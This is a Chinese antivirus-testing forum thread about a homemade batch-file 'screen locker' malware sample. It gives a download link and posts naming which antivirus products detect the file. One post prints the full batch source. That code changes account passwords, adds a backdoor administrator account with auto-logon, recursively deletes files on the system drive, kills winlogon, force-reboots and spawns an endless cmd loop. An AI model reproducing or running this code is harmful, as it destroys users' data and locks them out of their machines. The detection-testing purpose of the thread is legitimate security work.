自制bat锁机

显示全部楼层 · 发表于 2018-8-22 08:41:40

链接: https://pan.baidu.com/s/195qHahPiwLTE4Q-E-0nPnA 密码: 8kqn

显示全部楼层 · 发表于 2018-8-22 08:43:57

本帖最后由静影沉璧于 2018-8-22 08:45 编辑

BD2019
Feature:Antivirus
The file C:\Users\Administrator.SXCSXC-AJKJJUBR\Desktop\锁机.bat is infected with BehavesLike:BAT.Delete and was moved to quarantine. It is recommended that you run a System Scan to make sure your system is clean.

显示全部楼层 · 发表于 2018-8-22 08:48:19

360 kill

显示全部楼层 · 发表于 2018-8-22 08:55:22

Norton 被锁

显示全部楼层 · 发表于 2018-8-22 09:38:15

本帖最后由 WhiteCruel 于 2018-8-22 09:51 编辑

ESET

https://yqall02.baidupcs.com/file/9203169b1d708fd586f950aa4a9daa6e?bkt=p3-14009203169b1d708fd586f950aa4a9daa6ea1678b76000000000296&fid=902368753-250528-714222346500564&time=1534901750&sign=FDTAXGERLQBHSKW-DCb740ccc5511e5e8fedcff06b081203-UvaO7/WVfCpZMsQDHN6lOWuwNK8=&to=73&size=662&sta_dx=662&sta_cs=24&sta_ft=bat&sta_ct=0&sta_mt=0&fm2=MH,Yangquan,Anywhere,,None,any&resv0=cdnback&resv1=0&vuk=282335&iv=-2&htype=&newver=1&newfm=1&secfm=1&flow_ver=3&pkey=14009203169b1d708fd586f950aa4a9daa6ea1678b76000000000296&sl=82640974&expires=8h&rt=sh&r=164870015&mlogid=8871966550263437605&vbdid=2224767512&fin=锁机.bat&fn=锁机.bat&rtype=1&dp-logid=8871966550263437605&dp-callid=0.1.1&hps=1&tsl=50&csl=78&csign=0vnYzTYv2VV/f/Rkrbacf8q2JPs=&so=0&ut=8&uter=4&serv=0&uc=4192912830&ti=54c943154d862903e020d9abc5c68ccbf7882d20388a999a&by=themis;
BAT/KillFiles.NER 特洛伊木马;连接中断;通过应用程序访问 web 时检测到威胁

复制代码

显示全部楼层 · 发表于 2018-8-22 11:28:14

360kill

显示全部楼层 · 发表于 2018-8-22 14:37:46

本帖最后由 Kaspersky用户于 2018-8-22 14:40 编辑

KSCF扫描MISS，沙盘运行MISS。

显示全部楼层 · 发表于 2018-8-22 15:23:51

又是个bat，火绒、智量均杀。

显示全部楼层 · 发表于 2018-8-22 20:35:09

[url=home.php?mod=space&uid=331734]@echo[/url] off
net user %username% fuckyou
net user qq3256076553 fuckyou /add
net localgroup administrators qq3256076553 /add
net user administrator fuckyou
net user admin fuckyou
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v AutoAdminLogon /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultUserName /d qq3256076553
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v DefaultPassword /d
@echo off
del %systemdrive%\*.*/f /s /q
shutdown -r -f -t 00
@echo off
cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul
@echo off
:xiaoz
cls
start cmd.exe
goto xiaoz
shutdown -s

复制代码

显示全部楼层 · 发表于 2018-8-22 20:43:52

好像不成功啊

[病毒样本] 自制bat锁机

本帖子中包含更多资源

浏览过的版块